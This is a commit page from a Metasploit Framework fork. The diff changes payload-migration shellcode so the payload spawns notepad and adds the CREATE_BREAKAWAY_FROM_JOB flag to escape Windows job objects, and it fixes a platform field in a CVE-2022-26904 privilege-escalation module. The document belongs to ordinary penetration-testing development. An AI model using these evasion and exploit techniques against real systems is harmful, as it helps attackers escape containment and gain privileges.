dnrops
/
metasploit-framework
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Add in updated Ruby code and also update the DLLs and prepend_migrate.rb to use the CREATE_BREAKAWAY_FROM_JOB flag with CreateProcess to break away from the job if the job has the JOB_OBJECT_LIMIT_BREAKAWAY_OK limit set to allow breakaway jobs

This commit is contained in:
Grant Willcox 2022-03-23 17:47:25 -05:00
parent 715082a960
commit b1ce05f97c
No known key found for this signature in database
GPG Key ID: D35E05C0F2B81E83
4 changed files with 5 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

BIN
data/templates/template_x64_windows.dll Executable file → Normal file
View File

Binary file not shown.

BIN
data/templates/template_x86_windows.dll Executable file → Normal file
View File

Binary file not shown.

8
lib/msf/core/payload/windows/prepend_migrate.rb
View File

@ -57,7 +57,7 @@ module Msf::Payload::Windows::PrependMigrate
#
def prepend_migrate(buf)
payloadsize = "0x%04x" % buf.length
procname = datastore['PrependMigrateProc'] || 'rundll32'
procname = datastore['PrependMigrateProc'] || 'notepad'
# Prepare instructions to get address of block_api into ebp
block_api_start = <<-EOS
@ -221,7 +221,7 @@ module Msf::Payload::Windows::PrependMigrate
xor ebx,ebx
push ebx ; lpCurrentDirectory
push ebx ; lpEnvironment
push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
push 0x09000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED | CREATE_BREAKAWAY_FROM_JOB
push ebx ; bInHeritHandles
push ebx ; lpThreadAttributes
push ebx ; lpProcessAttributes
@ -300,7 +300,7 @@ module Msf::Payload::Windows::PrependMigrate
def prepend_migrate_64(buf)
payloadsize = "0x%04x" % buf.length
procname = datastore['PrependMigrateProc'] || 'rundll32'
procname = datastore['PrependMigrateProc'] || 'notepad'
# Prepare instructions to get address of block_api into ebp
block_api_start = <<-EOS
@ -467,7 +467,7 @@ module Msf::Payload::Windows::PrependMigrate
xor rcx,rcx
push rcx ; lpCurrentDirectory
push rcx ; lpEnvironment
push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
push 0x09000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED | CREATE_BREAKAWAY_FROM_JOB
push rcx ; bInHeritHandles
mov r9, rcx ; lpThreadAttributes
mov r8, rcx ; lpProcessAttributes

2
modules/exploits/windows/local/cve_2022_26904_superprofile.rb
View File

@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Local
'Grant Willcox' # Metasploit module + Tweaks to PoC
],
'Arch' => [ ARCH_X64 ],
'Platform' => 'windows',
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows 11', { 'Arch' => ARCH_X64 } ]